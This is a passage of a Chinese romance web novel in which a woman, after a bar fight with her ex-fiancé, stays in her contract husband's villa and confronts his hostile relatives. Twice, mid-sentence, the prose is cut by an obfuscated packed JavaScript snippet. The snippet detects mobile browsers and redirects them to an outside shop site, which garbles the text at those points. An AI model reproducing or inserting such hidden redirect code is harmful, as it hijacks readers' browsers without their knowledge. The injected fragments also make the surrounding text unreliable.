沈栀清当然不想,即便知道陆璟年是个狠角色,可她不想把事情闹到不可收场的地步,换种思路想,今日陆璟年会在众目睽睽下站在她这边,是因为两个人之间有一条线互相牵扯,若有朝一日,两人因为各种原因,分道扬镳,回旋镖能伤到的只有她自己一个而已,她刚刚只是在情急之下划伤了陆奕川的手臂,顶多修养几日就好了,若划在其他地方...... 看出她的犹豫和害怕,陆璟年握住她的那只手慢慢向前移,最后停在陆奕川的脸颊处,感受到酒瓶停在那里,有一股阻力,沈栀清赶忙抽回手连带他的,“你疯了!”再看陆奕川,脸颊处被划了一道略深的血痕,鲜红液体瞬时流下,画面触目惊心。 沈栀清深吸一口气。 察觉出她的紧张,陆璟年原本阴沉着的一张脸微微缓和,说出的话像是一剂强心针,“怕什么?出事我担着。” 陆奕川知道自己完了,原本只是想给自己出口窝囊气,这下是彻底不好收场了。即便平日里自己做的再出格,总不会平白无故去招惹陆璟年,又有爸妈跟在他身后乐此不疲的收拾残局,可这位,是连爸妈都有些忌惮的人,整个陆家,他最怕的就是他这位小叔。 可他更没想到的是,陆璟年竟然真的把沈栀清看的这么重,他有些后悔,可太晚了。 “小叔,我知道错了,我真的知道错了。”陆奕川此刻也顾不上太多,求饶的样子像一条落水狗,狼狈不堪。 “是吗?” 沈栀清第一次近距离看到陆璟年挂脸,即便只是简短的两个字,说出的那一瞬间也让人心底寒凉,这让她想到两人初见那晚,他也是冷着声音,毫无温度地说出那些刺骨的话,就像此刻,阴沉的吓人。 沈栀清看到和冯素月站在人堆里的方黎既担心又为难,后悔自己还是把这件事闹大了,于是紧紧拉住陆璟年的袖口,冲他摇头。 陆璟年垂眸看她,仿佛在确认什么,半分钟后,他冷眼看着陆奕川,带着点不耐烦的语气,“这就是你认错的态度?” “对不起对不起,我错了,你大人有大量别跟我一般计较。”陆奕川站在沈栀清面前连连鞠躬,沈栀清看他就来气,将脸偏到一边。 “不满意?”陆璟年俯身朝她贴近,眼睛却是落在陆奕川身上,带着十足的压迫。 眼瞧着陆奕川就要跪下,她看了看站在旁边的一圈人,在膝盖接触到地面的前一秒,赶忙伸手制止,“算了,扯平了,”该出的气其实已经出完了,陆璟年的突然出现更是让陆奕川彻底丢了他最自以为是的面子,而且估计他以后都不会再敢做什么,这样的结果对沈栀清来说,已经足够。 闹剧散场,人群散开,陆奕川和他的那堆朋友最终被安保带走。 方黎和冯素月跑过来关心她有没有受伤,沈栀清摇头说没事,“抱歉啊,方黎,给你添这么大麻烦。”毕竟是朋友,即便不是自己先挑事端,但终归是因自己而起。 方黎摇摇头,“清清,你别这么说,跟你没关系,等明天我就让人把这里的监控重新安上,这条通道紧挨卫生间,有客人投诉说觉得破坏私密性,所以就让我给取了,谁想到闹出这件事。” 耐心等她们说完,陆璟年一把拉住准备跟她们离开的沈栀清,将人直接带走。 上车后,扑鼻的沉香缓解刚才过快的心跳,沈栀清定了定神,想到自己的外套还在里面,正准备下车,就听到陆璟年对司机说了一个地方。 “我东西还在里面。” “待会让人来取。” 然后两人便都不再说话。 低气压像是慢性毒药,让人喘不过气,沈栀清把车窗打开一点,冷风灌进来,平复了她心里的那股燥意。 9. 消毒水 陆璟年直接将人带回香樟公馆,进门时,家庭医生已经在厅内等候。 沈栀清站在旁边,看到不远处拎着药箱的医生,想问他是不是搞错了?这会儿,最该看医生的应该是陆奕川吧,毕竟她那一下,根本没怎么收力,伤到神经或许都有可能。 “陆先生。”医生走过来,毕恭毕敬喊了句。 陆璟年点点头,目光点向身旁的沈栀清,“她肩膀受伤了,手掌也检查一下吧。” 或许是人在极度恐惧的情况下会短暂忘记伤痛,也很神奇,如果不是陆璟年的那句话,沈栀清都快要忘记自己被撞的肩膀,想到这儿,她抬手看了眼自己的手掌,果然看到上面有几道颜色浅淡的红线,伤口很浅,并不严重,或许是握酒瓶时被碎渣不小心划到的。 等陆璟年说完,医生朝她走过来,“太太,麻烦您到那边坐下,我帮您检查一下受伤的位置。” 沈栀清看了眼陆璟年,见他同样也在看她,只是脸上并没什么多余的情绪,仿佛只是为自家人干的好事收拾烂摊子而已。 疼痛感随着医生的检查越来越清晰,不仅仅是肩膀还有虎口位置那些玻璃碎渣划破的小口子,但没什么大碍,医生简单处理了一下伤口,消毒水浸润皮肤,产生强烈的沙感,沈栀清下意识攥紧手指,紧紧咬着嘴唇,原本红润的唇瓣,因为她的过度用力泛着白,强烈的视觉冲击,让人很难不注意。 原本站在一旁安静看着的陆璟年,几步朝她走过来,接下医生手中的棉签和药,“我来。” 沈栀清声音微弱地道了声谢,陆璟年看着她,涂药的动作柔和缓慢,“疼就说。” 医生临走前嘱咐了些注意事项,“手掌有些小划伤,但不影响什么,肩膀严重些,不过还好没伤到骨头,我给太太开一点敷抹的药,几天就能缓解,只是这段时间不能拎重物,需要力气的最好都不要做。” “好,辛苦你。” 医生不好意思地笑了笑,“陆先生,您客气了。” 医生把药开好,陆璟年让司机将人送走顺便将药带回来。 诺大的房子,顿时只剩下他们两个人。 “今晚,谢谢你。”沈栀清这会儿缓过来一点,边向他道谢边将外衣重新披在身上,身处完全陌生的地方,总令她有些不自在。 但今晚的事,终归还是要谢谢他,不管是刚才还是在酒吧,他的出现多少算是回击那些空穴来风的议论,尤其是陆奕川,多少会因为对陆璟年的忌惮,不敢再轻易找她麻烦。 “今晚的事我要跟你说声抱歉。” 沈栀清没想到陆璟年会这么说,惊讶之余又听到他说:“酒吧的事是我的问题。” 这段时间公司很多棘手的事情堆在一起,导致他的心思全都放在工作上,疏忽了一些很重要的事情,的确是他大意了,但酒吧的事也给他提了个醒,或许是时候安排些人在暗处保护沈栀清,防患于未然。 “这件事跟你没关系。”沈栀清抬头看着他,目光灼灼,“做错事的是陆奕川,而且你也不必为别人的错误而承担什么。” “其实,从答应嫁给你的那一刻开始,我就已经多少猜到婚后生活并不安稳,只是没想到这个陆奕川远比我想象的还要......垃圾。”犹豫两秒,她还是说出这两个字,其实她更想说另外两个字,那样会更解气,但今日不宜说脏话,还是算了。 陆璟年看着她,带着点耐人寻味的语气,“既然知道,难道不怕吗?” 沈栀清也笑了,“怕啊,但陆总,每个人都会有自己所执着的事情,各种各样的选择堆在一起,就看哪个更重要。”言外之意,她也不是完全没所图。 陆璟年很轻地笑了一声,眉眼间沾染了点微末笑意,“你倒是很坦荡。” “我们本来就是各取所需的关系,不是吗?”沈栀清看着他,直白反问。 陆璟年收回落在她脸上的目光,没再说什么,动身走到门口打了通电话,不多时有人敲门,沈栀清坐的位置看不到门口,只听到一个年轻男人的声音,随着脚步声,沈栀清看到陆璟年手上拎着一个精致的保温桶,又看他走到餐桌那边,打开后,将里面包装严实的饭菜全都摆好,“给你点了夜宵。” 他只是觉得,经历刚刚那遭,她或许想吃点东西,毕竟有的时候,美食可以在治愈胃口的时候顺便抚慰情绪。 可沈栀清想都没想就拒绝,“谢谢,但我不饿。”比起美食,她更想回家。 事实上,酒吧的事仍令她心有余悸,别看她表面平静,当时心里也是怕的不行,只不过这种脆弱,不能在外人眼中展现出来。 如果不是刚才司机和医生离开的太快,她是想跟着一起走的,可肚子偏偏在这时咕噜噜响起来,沈栀清下意识捂紧,强装镇定地盯着地板,恨不得找个地缝钻进去。 晚饭的确没吃多少,火锅也只吃了几口,撑到现在,早就饿了。 陆璟年没戳穿,目光落在她发顶,只留下一句:“多少吃点。”说完就往楼上走。 肚子空空再加上刚才那出惊吓,这会胃也开始痛,沈栀清便也没再扭捏,走过去,盛了一小碗海鲜粥,吃了点清淡小菜,这才好受点。 半个小时后,陆璟年从楼上下来,身上依旧穿着那件白色衬衫,领口处松了两颗扣子,领带也已经被摘下,裸露那一点,平白添了几分禁欲。 沈栀清收回目光,低头收拾餐桌上的垃圾,陆璟年走过来,接过她手上的碗筷,“家里的阿姨会来收拾。” 沈栀清哦了声,松开手。 五分钟后,司机回来,手上拎着两袋药,还有她落在酒吧的东西,沈栀清再次道谢,心里只有终于可以离开的喜悦,快步走到门口,对陆璟年说:“陆先生,今晚谢谢您。”转身正准备离开,就听到陆璟年从身后传来的声音。 “送你回去。” 沈栀清原本想说不用麻烦了,可陆璟年却没给她出口拒绝的机会,他将玄关处的大衣穿在身上,先一步走到门口,等她。 沈栀清搞不明白陆璟年今晚在想什么,但也实在没力气搞懂了,她只想赶紧回到自己的小窝,舒舒服服的泡个澡,然后一觉睡到明天中午。 车子行驶到家门口前,沈栀清突然听到陆璟年说:“今天的事不会再有第二次,你放心。” 沈栀清点点头。 下车后,沈栀清和陆璟年道别,她将车门关上后转身准备离开,车窗这时缓缓下降。 “我明早的飞机,接下来一周都不在洛川,有事找杨辰处理。” 最后一句算是提醒。 第二天,沈栀清是被饿醒的。时间已经接近正午,她简单洗漱后,下楼去厨房找东西吃,打开冰箱只找到了瓶还有两天就过期的牛奶,这段时间忙的昏天黑地,各种事情突然缠身,让她根本没时间也没心思去超市采购,连做饭都没乐趣,只靠外卖省事。 等待奶煮好的时间,沈栀清回卧室拿手机,发现冯素月半个小时前发来的一长串信息还有几个未接来电,除了她,还有父亲沈淮安。 沈栀清一边往楼下走,一边给冯素月回拨电话,嘟的一声电话被挂断,紧接着外面响起门铃声,沈栀清去开门,看到站在门口拎着小行李箱的冯素月。 “你这是?”沈栀清看着她问。 “不放心你啊,搬过来跟你住几天。”冯素月笑呵呵地说,进门换好鞋,将行李箱和包放到角落,拎着保温袋放到桌上,“还没吃饭吧?”说完,看到灶台上已经煮好的牛奶,回头瞧她,“你也太能省事了。” 沈栀清笑了声,“还好有你来送温暖。” 两人围坐在沙发旁的矮桌旁边,电视机里播放着上次没看到的影片,冯素月想到什么,拿起手机把今早看到的一条爆料消息找出来给沈栀清看。 “陆奕川这段时间怕是得躲到国外了吧。” 沈栀清没懂,狐疑看了眼手机界面,然后接过来认真浏览上面的文字图片,都是一些极其暴露的香艳照片,还有些引人不适的画面视频,沈栀清甚至都没看完,直接锁屏把手机放出好远,比她前段时间收到的那几张还要夸张..... 食欲都没了。 冯素月颇有一种大仇得报的快感,酒吧那件事简直是想起来就恶心。 “也不知道是哪个英雄好汉干的,之前只听小道消息说陆家小少爷玩的花,没想到玩的这么花,男男女女凑到一起,画面也太炸裂了......”一句话完整概括了这些爆料信息。 “你没看评论吧?”冯素月说着重新找到几个帖子,翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276004|198244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到热评前几给她看,沈栀清犹豫两秒最终还是凑过去。 热评第一:前段时间听朋友说,陆璟年现在那位太太原本是陆奕川的未婚妻,之前圈子都在传,说这位沈小姐是位看上去清冷实际上花花肠子很多的心机girl,年纪轻轻就这么有城府,踩着这位小少爷一步登天,现在看,原来是人家嫌弃他脏。 热评第二:陆家怎么出了这么个垃圾货色。 热评第三:有钱人的生活也太乱了,不忍直视,不忍直视。 沈栀清皱皱眉,想都不用想那些骂自己的消息是谁放出去的,可她怎么一点风声没听到呢?转念一想,这些小道消息都是从名利场传出来的,她不去自然听不到。 “想什么呢?”冯素月问她。 “在想是谁做的。” 陆沉舟和季苏向来对儿子的事情很上心,尤其是这种花边爆料更是不知道动用多少关系花了多少钱压下去,这次几年前的事情都被翻出来,看样子应该是位是比陆家那对夫妇手腕更强硬的人在背后动手脚。 种种线索揉在一起,让她很难不去想那个人。 冯素月看她对着手中的冰美式发呆走神,又问:“想到了?” 沈栀清点点头,“只是还有点不确定。” 光是陆奕川这层身份,背后也牵扯着丝丝缕缕复杂的关系,越是有身份的阶级越在乎家族脸面,俗话说,一荣俱荣,一损俱损,她和陆璟年之间的关系远没有让他不顾一切为自己做到这种地步。 沈栀清想不通,索性不再继续想,陆奕川如何又跟她没关系,即便这件事真的是陆璟年做的,会走这一步,也一定有他自己的原因。 反正终归不是冲冠一怒为红颜之类的吧, /// 落地青州,是在下午三点。 陆璟年下飞机后接到杨辰打来的电话。 “陆总,事情已经按照您的意思去做。” 陆璟年听出他语气中的欲言又止,“说。” “陆老知道后发了好大一通火,一直在找您。” 陆璟年淡淡嗯了声,“让他好好休息,任何事都等我回去再说。” “是。” 电话挂断,陆璟年将手中黑皮行李箱递出去,司机打开这端车门,等陆璟年坐好,将车门轻轻关上。 手机一连几串短消息,是杨辰刚刚发过来的图文爆料,他面无表情翻阅几页,退出后,视线被联系人里分外突兀的一抹粉色吸引,犹豫两秒,点进去,对话时间停留在领完结婚证的那天,不知出于什么心思,他轻点那个粉色小猫的卡通头像,朋友圈被设置了仅三天可见,最新一条是今天中午,照片中珐琅铜锅旁摆满了蔬菜和肉,还有一些新鲜的水果,看上去应该是朋友聚餐,入镜的手机屏幕上显示的貌似是什么游戏界面,配文:今日份开心。 陆璟年点开图片,盯了两秒,最后熄灭屏幕,闭眼凝神。看样子,她应该没有被昨晚那场糟心事所影响。 这次来青州除了处理工作,更是要来看一位故人。 “陆先生,到了。” 黑色卡宴最终停在酒店,随着门童打开车门,陆璟年收回思绪。 酒店是陆家旗下产业,电梯到顶层停下,副总经理是前不久才上任的年轻男人,并不清楚这位陆先生的规矩,今日他值班,又得到消息,所以本着积极向上的工作态度一路护送,同时向老板汇报工作。 陆璟年颇有意味地打量他,之后没打断,耐心听他讲完,直到两人已经快要走到套房门口,男人依旧没停下的打算,陆璟年瞧着他,从他手上拿过房卡,然后又接过自己的行李箱。 “去忙吧。” 年轻男人叫徐锋,陆璟年对他有点印象,前段时间酒店原来的副经理因工作失职被撤,当时他正在这边处理公务,下面人递上来的推荐名单他看过,其中就有他,一众人选中他不是学历最优秀的,但工作经验很丰富,大专毕业后打零工供自己读研,从门童做到大堂经理,踏实又肯干,再加上酒店经理对他评价颇高,于是给了他这个机会。 只是徐锋连这位大老板的面都没见过,自然也不知道这泼天富贵是陆璟年允的。 “好的,陆先生。” “有任何需要,您随时找我。” 10. 烫耳 傍晚,沈栀清再次接到父亲沈淮安的电话。 “怎么现在才接?!”电话一接通,那头就传来质问的声音。 “您有事?” “听说陆奕川那混小子找你麻烦了?” 沈栀清没想到父亲打电话过来是为了这件事,于是说:“是,不过已经解决了。” 沈淮安那边叹了声气,“今天一大早,陆沉舟就来知会我,说是你划伤了他儿子,这会儿人还在医院呢。” 沈栀清嗤笑道:“他不来招惹我,我怎么会平白无故划伤他?”想要兴师问罪,未免太可笑。 沈栀清突然想到那些爆料的帖子,不知道陆沉舟和季苏有没有看到,若是看到又会怎么做? 沈淮安嗯了声,关心问道:“你没受伤吧?” 太阳真是打西边出来了,沈栀清甚至有些怀疑地将手机从耳边移开,仔细看了两秒号码备注,“您没事吧?”自从沈淮安再娶,韩静初进门后,作为一名父亲,他什么时候这么关心过她? 沈淮安一听有点不乐意,“你这孩子怎么说话的?做父亲的关心关心你不是很正常吗?” “别人的父亲或许正常,但您,真不好说。” 果然,下一秒便听到沈淮安打这通电话的主要目的:“璟年最近工作忙不忙?” “他出差了。” “那等他回来,你带他到家里来坐坐。” “有事?” “没事就不能坐坐了?你们结婚本来男方就该到女方家里拜访,这是规矩。” “您什么时候真把我当家里人了?”沈栀清觉得有些好笑。 “我没跟你商量。”沈淮安自知说不过她,语气听着有点恼。 沈栀清知道,继续聊下去,父亲一定会搬出画廊来压她,索性应了下来,“但他去不去就不是我能左右的了。” 电话挂断,坐在一旁正专心致志打游戏的冯素月,听到她这边完事,偏过头瞅她,“你爹这是把你当摇钱树了,上赶着跟陆璟年求好处。” 沈栀清不置可否,怎么会听不出来沈淮安这听电话的意思? 关心是假,利益是真。 但又没什么办法,眼下只有期盼这一年赶紧过去,早点拿回画廊,也许就能自由了吧。 一连几天,沈栀清都宅在家画稿,偶尔会和冯素月窝在沙发上打游戏,原本安静的屋子,因为冯素月的存在变得热闹起来,尤其是她开麦骂队友的时候,沈栀清时常感叹,人类的词汇量怎么会在想要骂人的时候如此取之不尽用之不竭呢?真是神奇。 周日下午,冯素月一连输了五局,终于忍不住爆发。 “猪队友,带不动,不玩了!”冯素月说完把手机丢到一旁,拿起放在沙发上的笔记本电脑打开追剧软件,打算换换心情。 沈栀清笑着看她,起身走到厨房,洗了一点车厘子端到客厅,门铃声在这时响起,沈栀清疑惑着去开门,就看到站在门口的杨辰。 “杨助理?”沈栀清对他的突然到访很疑惑。 “沈小姐,陆总叫我过来取点东西。” 沈栀清一头雾水,“取什么东西?” 陆璟年的电话就是在这时打过来,接通后,沈栀清又问了一遍刚才问杨辰的那个问题,陆璟年刚忙完工作回酒店,晚上喝了点酒,进屋后,将脱下的西装随手丢在沙发,手指拧松开系在领口的领带,嗓音被酒精浸润过后有些沙哑,“明天可能需要你去趟香樟公馆。” “为什么?” “陆沉舟和季苏会去。” 沈栀清顿时明白杨辰为什么要来取那些东西。 “来道歉吗?” 听筒里传来几声沉闷地笑,有些烫耳,“你太抬举他们了。”虽然他们的确是这么说的,可陆璟年清楚他们打的到底什么算盘。 沈栀清也听出来了,“我自己一个人吗?” “我明早回洛川。” “好。” 电话挂断,沈栀清请杨辰进门,让冯素月帮忙招待一下,然后上楼去拿东西,这个月本来就要换新的化妆品,索性将用到快见底和还剩三分之一的全都拿上,再拿些用到一半左右的,怎么也够了。装完这些,沈栀清又从衣柜里拿了几身睡衣还有之前去陆家时穿过的衣服,又拿了几本放在床头这几天刚刚读完的书,装的差不多后,沈栀清从柜子里找出袋子,全都分类装好,拎着下楼。 杨辰听到楼梯处传来的脚步声,很快从沙发起身,转身快走几步,接过沈栀清手上的东西,“沈小姐,给我就好。” 沈栀清松开手,“这些应该差不多。” 杨辰点点头,“麻烦您了。” 送走杨辰,沈栀清回到沙发,拿了一颗车厘子放进嘴里,一旁的冯素月见状,笑着问她在想什么。 “明天又要开始演戏了。”沈栀清一脸生无可恋地说。 “赶明个我让人给你做个小金人吧,最佳女主非你莫属。”冯素月笑说。 “纯金的。”沈栀清起身看她。 冯素月偏过头假装自己刚刚没说过那句话,“最多金包银,想要纯金的还是让你那合法老公给你颁。” 沈栀清作势要拿抱枕去打她。 第二天,陆璟年比她预想中到的要早些。 她把车停在门口,下车后看到同样刚从车上下来的陆璟年,杨辰将行李箱从后备箱拿出,向她打招呼:“沈小姐。” 沈栀清点点头,“早,杨助理。”然后看向陆璟年,“陆先生。” 陆璟年朝她颔首,“进去吧。” 上次来这里还是一周前,这里还和那天一样,没什么太大变化,房间里有好闻的木质调香气,不恼人反倒叫人心安。 杨辰将行李箱放置好就离开,诺大的别墅内又只剩他们两个人。 站在玄关的那几秒,沈栀清忍不住在想,一个人住这么的房子,难道不会害怕吗? 陆璟年已经走到楼梯口,一回头看到仍站在某门口发呆的沈栀清,喊她:“带你熟悉一下这里。” 沈栀清应了声,快步朝他走过去。 别墅一共三层,陆璟年先带她去了卧室,楼梯拐角旁边的不远处就是主卧,推门进去,窗外阳光投映进来,宽敞明亮,她跟着他走进去,视线被那扇巨大的落地窗所吸引,外面的景色像是油画,尤其这段时间洛川经常下雪,枯树枝上被冰雪点缀,还有剔透的冰晶,阳光照在上面,颇有意境,窗边视野很好,又可以非常清楚的看到不远处草坪湖水,沈栀清甚至都可以想象出来,到了春天,万物复苏时,站在这里看景会有多惬意。 陆璟年站在她身后,耐心等她,并没打扰,直到沈栀清转头问他:“这么多年你都是自己一个人住吗?” 陆璟年不懂她这句话的意思,静静看着她,末了才回:“一个人习惯了。” 沈栀清点点头,表情看不出信与不信。 没再纠结这问题,陆璟年将她带到浴室,下巴点了点早就被杨辰安排放好的化妆品之类,沈栀清有点间歇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276005|198244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性地强迫症,上手调了调,化妆类怕水的东西怎么能就这么摆在水池边?拿下来后,转身问安静站在她身后的陆璟年:“陆先生,这间卧室应该没有化妆桌吧?” “没有。” 得到肯定答案,沈栀清只好把东西重新摆回去,只是换了些顺序。 陆璟年多瞧她两眼,看她不打算继续,才又将她带进衣帽间,女式睡衣穿插着放在几乎全都是黑灰深蓝的男士衣橱里实在有些突兀,像是突然闯进某种领地的不和谐。 沈栀清忍不住上前,将自己的衣服全都从衣架上拿下来,挂在胳膊上,然后将陆璟年的衣服按照原来摆放好,又将旁边的衣架清理出来,将上面的衣服全都拿过来挂好,最后才将自己的几身衣服挂在空置出来的衣架处,一人一处,虽然看着还是有点别扭,但总归比刚才好那么一点。 她总不能把所有衣服都搬过来,可又有些疑问,昨天她应该还拿了好几件外穿的衣服,怎么不见? 陆璟年清了清嗓,“改天再叫人把这里腾出一处地方。” 沈栀清忙说:“不用麻烦了,反正也只是今天一天而已。” “杨助理是不是没女朋友?” 不然她实在想不通那么事事俱到的一个人怎么会在处理这件事的时候显得有些不靠谱呢? 陆璟年走在前面意味深长的回头看她一眼,没说话,沈栀清跟着他身后,走到衣帽间最里面的一面墙前,陆璟年停下来,在沈栀清疑惑的目光中,抬手推了下,隐藏在这面墙下的门被打开,她还来不及惊讶就被这扇门后面的世界所震惊到。 进去后,沈栀清突然明白杨辰为什么偏要那样摆置,这间卧室,不,应该说是一间被连夜改造成衣帽间的房间。这间衣帽间,摆满了女性的衣物,摆在最显眼位置的就是她昨晚从家里装过来的那几件衣服,剩下的大多是高奢品牌,有的挂牌都还没摘。这里一应俱全,还有全新整套的化妆品,各种名牌包,女士手表,还有一些价值不菲的饰品之类,光是各种各样的高跟鞋还有休闲平底鞋就摆放了满满一墙。 惊讶之余,她转头看向陆璟年,在他气定神闲的表情中,明白他刚刚为何要说那句话。 看来不是杨辰不靠谱,而是靠谱的有点过了。 陆璟年走到她旁边,平声问她:“还满意吗?” 沈栀清慢慢走进去,在看到那张摆在窗前,做工精致又复古,和这间房子的法式风十分相配的化妆桌后,忍不住问:“不是说没有化妆桌?” “昨晚连夜叫人安了这道门,主卧的衣帽间算不上大,放两个人的东西终归是放不开的,所以只好将这间空着的卧室收拾出来,你会用到的东西也都放进了这里,那边衣帽间只摆了几件你的睡衣,还有用过半的化妆品,这些,是为了凸显我们之间亲密的关系。” “我有个已婚的合作伙伴告诉我,他和他夫人的衣帽间向来是单独分开的,我在这方面没什么经验,所以......”陆璟年停顿了下,“所以,沈小姐对这样的安排是否满意?” 沈栀清应该是第一次听陆璟年一下说了这么多话,她还能说什么?或许是先在心里跟杨辰道个歉,然后。 “您想的真是太周到了。” 虽然她在自己的小院也独享一整间衣帽间,可这间屋子是她衣帽间的三倍大,说不吃惊是假的。 “但会不会有些浪费?”把一间采光格局都很好的卧室改造成衣帽间?而且,这些东西放在这里完全是吃灰。 “不会。” 11. 温热掌心 两人乘电梯下楼,电梯门打开的同时,门铃声恰好响起。 平日里照顾陆璟年日常起居的崔姨,也已经在十五分钟前就位,桌上是做好的早餐,食物的香气扑鼻而来,沈栀清下意识摸了摸自己的肚子,早饭只喝了两口水。 陆璟年察觉到她的目光,在和阿姨说完去开门后,转头对她说:“崔姨的手艺不错,待会尝尝。” 沈栀清无可无不可地点点头,紧接着外面响起一阵响动,不多时,陆沉舟还有季苏搀扶着一位穿着雍容华贵的妇人进门,沈栀清视线在她身上短暂停留,女人也正看着她,并不掩饰眼神中的打量,还带着一些她有点看不懂的情绪在里面。 “老爷子的续弦。” 陆璟年这解释干脆利落,沈栀清瞬间明白过来,原来这位就是一直在医院照顾陆学谦的女人。 沈栀清点头的功夫,三人已经朝这边走过来,陆璟年牵住她的手带着她上前象征性地迎了迎,然后便说:“林姨,我和清清还没吃早餐,正好家里阿姨做的多些,不如坐下一起吃点。” 林毓芳看上去慈眉善目,心如明镜这话的言外之意,脸上虚浮起一层笑意,“好,就听璟年的。”说着又看向站在陆璟年旁边的沈栀清,“早就听你哥哥嫂嫂说,璟年娶了一个漂亮姑娘,确实如此,你爸要是看到清清,肯定也高兴坏了。” 沈栀清笑了笑,随着陆璟年喊人:“林姨好。” 林毓芳冲她笑着点点头,“你好。”往餐桌那边走时,视线短暂落在两人牵着的两只手上,很快收回。 说不上为什么,沈栀清总觉得林毓芳脸上的笑有些诡异,就连看她的眼神都让人心里发毛,直盯盯的,像在打量一件什么物件一样。 一旁的陆沉舟还有季苏脸色要难看多了,像是涂了一抹厚重的浓墨。 季苏抬手晃了晃林毓芳的胳膊,语气很是不满:“妈!奕川现在还在医院躺着呢,这两天在医院还总是做噩梦,动不动就说有人要杀他,他可是您亲手带大的孩子,您不心疼吗?奕川可是咱陆家的独苗,爸要是知道这件事绝不会就这么不管的!” 从进门到现在都一直默不作声的陆沉舟也早已沉不住气,“看上去柔柔弱弱的一个姑娘,竟然下这么重的手!刚嫁进来就惹祸事,说出去也不怕叫人笑话!” 陆沉舟今天带母亲过来,本也不是吃什么早餐,陆奕川手臂处划了一道很深的伤口,还有脸颊那里险些破相,他就是来讨说法。 林毓芳嗔怒着:“有什么事待会儿吃完再说,我相信璟年会处理好的。” 一句话让原本不情愿的两个人都暂时闭上嘴巴,扭捏着坐到位置上,虽然依旧脸色难看。 沈栀清也被陆瑾年牵着走到餐桌前,心如明镜她们今天跑这一趟是为什么,但她面上没什么波澜,只告诉自己沉住气,有什么事等吃饱饭再说。 等她坐下,陆璟年松开紧握她的那只手,盛了一碗海鲜粥放到她面前,笑说:“那天看你喜欢吃,特意让崔姨做的,尝尝。” 看到陆璟年那双看向自己含情脉脉的眼神,还有嘴角那么温柔笑意,沈栀清知道这是好戏开场的节奏。 相比最开始,这会儿她已经可以很快进入状态,于是笑着接过,没说任何话,可脸上带着点独属于这个年龄的女生在面对喜欢的人时的羞涩,让人很难不信服这段关系的亲密。 坐在对面的三个人,尤其是一直保持着慈祥笑容的林毓芳在看到这一幕时表情僵硬了几秒。 “沉舟一开始跟我说你们两个是一见钟情,我和你爸当时还不信,觉得你肯定又是随便拉个人来糊弄我们,现在看来倒是真的?”林毓芳带着点试探在问。 陆璟年抬头,眼神漫不经心地扫过去,“林姨。”神情和语气却像是在宣读什么誓言那样诚恳,“任何事我都很认真,感情和婚姻尤其。” 林毓芳没话说,干笑两声,接过陆沉舟为她盛好的粥。 早饭最终安静吃完,沈栀清不得不相信,崔姨的手艺的确很不错,海鲜粥她喝了两碗,又吃了点别的什么,这下是真的饱了。 饭吃完,林毓芳起身走到客厅,坐下后才开口:“璟年,今天过来,我和你大哥大嫂是有件事和你说。” 崔姨手里端着煮好的茶,轻轻放好,又一一将茶杯斟满,最后起身离开。 陆璟年在沈栀清旁边坐下,动作温柔地牵住她一只手放到自己腿上,伸手从桌上小盘中拿了颗草莓薄荷味的糖果放到她掌心,漫不经心问:“什么重要的事,值得林姨您亲自跑一趟?” 西装布料下,传递出只属于男人的体温,沈栀清有些慌乱地缩了缩手,塑料纸摩擦着皮肤,随着窸窣泛起一阵酥麻。 陆璟年察觉出她的不自在,扭头附在她耳边,轻声说:“冰箱里有饮料。” 沈栀清说自己不渴,陆璟年笑着看她,“我想喝。” 两人一来一回的黏腻劲儿,让林毓芳有种今天这趟会是白来的感觉,可来都来了,总不能直接回去。 紧接着,在她刚准备起身时,就听到了自己的名字从那位慈祥的林姨口中说出,带着点嘲讽的讨伐味道。 “璟年,这位沈小姐可不像你想象的那么简单。” 陆璟年颇为玩味的发出疑问:“是吗?” 沈栀清哪还有心情去拿什么饮料?站在那儿,有些居高临下地看着对面三人,也不管陆璟年拍他手让她稍安勿躁的信号,心里压着一股随时会爆发的火,耐心地等着他们说。 林毓芳眼神示意两人,季苏早就在等这一刻,于是哭诉道:“璟年,你这个媳妇可真是个心狠的女人,抛开她和奕川之前的关系不说,即便是一个素不相识的路人也不该下这么重的毒手!你看看你侄子手臂上那道伤口,他长这么大,还没受过这么严重的伤!” “奕川那天酒吧碰见她,她穿的花枝招展的,想着两人怎么也算相识一场,就想着坐在一起热闹热闹,你这媳妇倒好,一言不合上来就把人伤成这样!你说哪有她这么狠心的人?还不是踩着奕川爬到现在的位置,那点小心思谁不知道,装什么装。” 沈栀清实在听不下去了,上前两步,一双漂亮杏眼,这会儿瞪得圆圆的,“我和陆奕川有什么关系?充其量就是父母之命地联姻关系,除此之外没有任何关系,还有,您怎么不问问他,酒吧那天那么多人,我为什么不伤别人只伤他?” 季苏回她:“那是因为你恼羞成怒!还不是因为怕他把你做的那些事告诉璟年,奕川都跟我们说了,那天在酒吧,你们男男女女的热闹极了,都是二十几岁的年轻人,当谁不知道这其中的猫腻?既然做了陆家的媳妇就该老实本分待在家里做好贤妻良母该做的,成天打扮成那样出去让别人知道了怎么看我们陆家?怎么看璟年?” “一个女人,婚后穿成那样去酒吧,男男女女围坐一团,连避嫌都不知道,幸好当初奕川没把你娶回家!”陆沉舟也跟着附和。 沈栀清实在是不得不叹服两人的好口才,同时也震惊这家人的厚颜无耻,一句一句都是奔着让她粉身碎骨。 